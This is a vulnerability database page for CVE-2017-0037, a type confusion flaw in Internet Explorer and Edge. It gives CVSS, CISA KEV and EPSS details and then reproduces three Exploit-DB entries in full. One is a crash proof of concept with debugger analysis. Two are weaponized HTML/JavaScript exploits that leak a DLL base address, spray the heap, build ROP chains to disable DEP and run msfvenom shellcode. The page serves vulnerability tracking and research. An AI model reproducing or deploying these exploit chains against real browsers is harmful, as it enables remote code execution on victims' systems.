CVE-2017-0037 : Detail

CVE-2017-0037

8.1
/
High
94.23%V3
Network
2017-02-26
23h30 +00:00
2025-02-10
16h21 +00:00
CVE.org
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CVE Descriptions

Microsoft Internet Explorer 10 and 11 and Microsoft Edge have a type confusion issue in the Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement function in mshtml.dll, which allows remote attackers to execute arbitrary code via vectors involving a crafted Cascading Style Sheets (CSS) token sequence and crafted JavaScript code that operates on a TH element.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Edge and Internet Explorer Type Confusion Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-27 22h00 +00:00

Action is due : 2022-04-17 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41454

Publication date : 2017-02-23 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1011 PoC: --> <!-- saved from url=(0014)about:internet --> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } </script> <body onload="setInterval(boom,100)"> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="5" width=0></th> <th class="class2" width=0><div class="class2"></div></th> <!-- Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 R2. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly. The PoC crashes in MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement when reading from address 0000007800000070 (5fc.8a4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4: 00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=???????????????? With the following call stack: Child-SP RetAddr Call Site 00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4 00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc 00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5 00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147 00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77 00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d 00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3 00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c 00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102 00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b 00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5 00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7 00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c 00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f 00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58 00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b 00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a 00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb 00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7 00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8 00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be 00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2 00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e 00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue 00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa 00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac 00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3 00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f 00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22 00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34 And the following register values: rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050 rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0 rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8 r8=0000007916490ec0 r9=000000710e75b980 r10=00000079164a8f30 r11=000000710e75b928 r12=000000710e75c000 r13=0000007916450fc8 r14=000000791648ec60 r15=0000007911ec9f50 Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address. Let's take a look at the code around the rip of the crash. 00007ffe`8f330a51 488bcd mov rcx,rbp 00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=???????????????? 00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c) 00007ffe`8f330a5f 488bcd mov rcx,rbp 00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax] 00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi] 00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h] 00007ffe`8f330a74 488bcf mov rcx,rdi 00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)] 00007ffe`8f330a7d 488bce mov rcx,rsi 00007ffe`8f330a80 ffd7 call rdi On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations). On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory. However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls. Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80. -->
Exploit Database EDB-ID : 43125

Publication date : 2017-10-16 22h00 +00:00
Author : mschenk
EDB Verified : Yes

<!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var ntdllBase = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var j = document.createElement("canvas"); ctx=j.getContext("2d"); ctx.beginPath(); ctx.moveTo(20,20); ctx.lineTo(20,100); ctx.lineTo(70,100); ctx.strokeStyle="red"; ctx.stroke(); } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(2,4); var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16); ntdllBase = addr - 0x000d8560; alert("NTDLL base addr is: 0x" + ntdllBase.toString(16)); spray(); boom(); }, 1000); function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function spray() { var hso = document.createElement("div"); var junk = unescape("%u0e0e%u0e0e"); while(junk.length < 0x1000) junk += junk; //ntdll prefered base addr = 0x77ec0000 //ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect var rop = unescape( writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret writeu(0, 0x12345678) + //junk to account for retn 0x0004 writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret writeu(0, 0x12345678) + //junk into esi writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008 writeu(0, 0x12345678) + //junk into ebp writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(0, 0x0e0e0484) + //addr of protection value placeholder writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008 writeu(0, 0x12345678) + //junk into ebp writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0 writeu(0, 0x0e0e048c) + //return addr = shellcode addr writeu(0, 0xffffffff) + //process handle (-1) writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode writeu(0, 0x0e0e0e3e) + //pointer to size writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40 writeu(0, 0x0e0e0e0a) //addr to write old protection value ); //Shellcode //root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); //stack pivot var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004 //first stage ROP chain to do bigger stack pivot var pivot = unescape( writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret writeu(0, 0x12345678) + //junk offset for retn 0x0004 writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004 writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory ); var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg; data += junk.substring(0, 0x800 - offset - xchg.length); while(data.length < 0x80000) data += data; for(var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0, (0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea> </form> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html>
Exploit Database EDB-ID : 42354

Publication date : 2017-07-23 22h00 +00:00
Author : redr2e
EDB Verified : No

<!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var base_leaked_addr = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var audioElm = document.createElement("audio"); audioElm.src = "test.mp3"; } function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function readu(value) { var uc = escape(value); var ucsplit = uc.split('%'); var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', '')); return res; } function spray() { // DEPS technique used here - avoid null bytes var hso = document.createElement("div"); base_leaked_addr = parseInt(base_leaked_addr,16); var junk = unescape("%u0e0e%u0e0e"); while (junk.length < 0x1000) junk += junk; var rop = unescape( writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffff) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x4e385) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2030f) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(0,0xf07645d5) + writeu(base_leaked_addr,0x6e002) + writeu(0,0x41414141) + writeu(base_leaked_addr,0xaebc) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffbf) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x6361b) + writeu(base_leaked_addr,0x432cf) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x5cef1) + writeu(base_leaked_addr,0x4177e) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x1244) + writeu(base_leaked_addr,0xa819) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2720b) + "" ); /* Original VirtualAlloc ROP generated with mona.py - www.corelan.be Library used "propsys.dll", part of the Windows Search functionality (?) and last updated Nov 2010. I think it's a good target for our needs. Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx) "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll] "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll] */ // Move ESP to the VirtualAlloc ROP chain var stack_shift_rop = unescape( writeu(0,235802130) + writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x0e0e1258) + writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + ""); // root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le // ~2854 bytes max var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} var fix1 = 0x15c; var fixop = unescape("%u0e0e%u0e0e"); var offset_to_stack_shift = 0x6f7; var offset_to_xchg = 0xd2+2; // Jumping a bit around here, pretty sure this can be simplified but hey... it works data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg; data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,(0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(0,2); var leaked_addr = readu(il); base_leaked_addr = leaked_addr - 0xbacc; // base of propsys base_leaked_addr = base_leaked_addr.toString(16); spray(); boom(); }, 1000); // can be reduced </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea> </form> <script> </script> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html>

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version *

Microsoft>>Windows_10_1507 >> Version -

Microsoft>>Windows_10_1511 >> Version -

Microsoft>>Windows_10_1607 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10_1507 >> Version -

Microsoft>>Windows_10_1511 >> Version -

Microsoft>>Windows_10_1607 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securityfocus.com/bid/96088
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41454/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/43125/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1037905
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42354/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1037906
Tags : vdb-entry, x_refsource_SECTRACK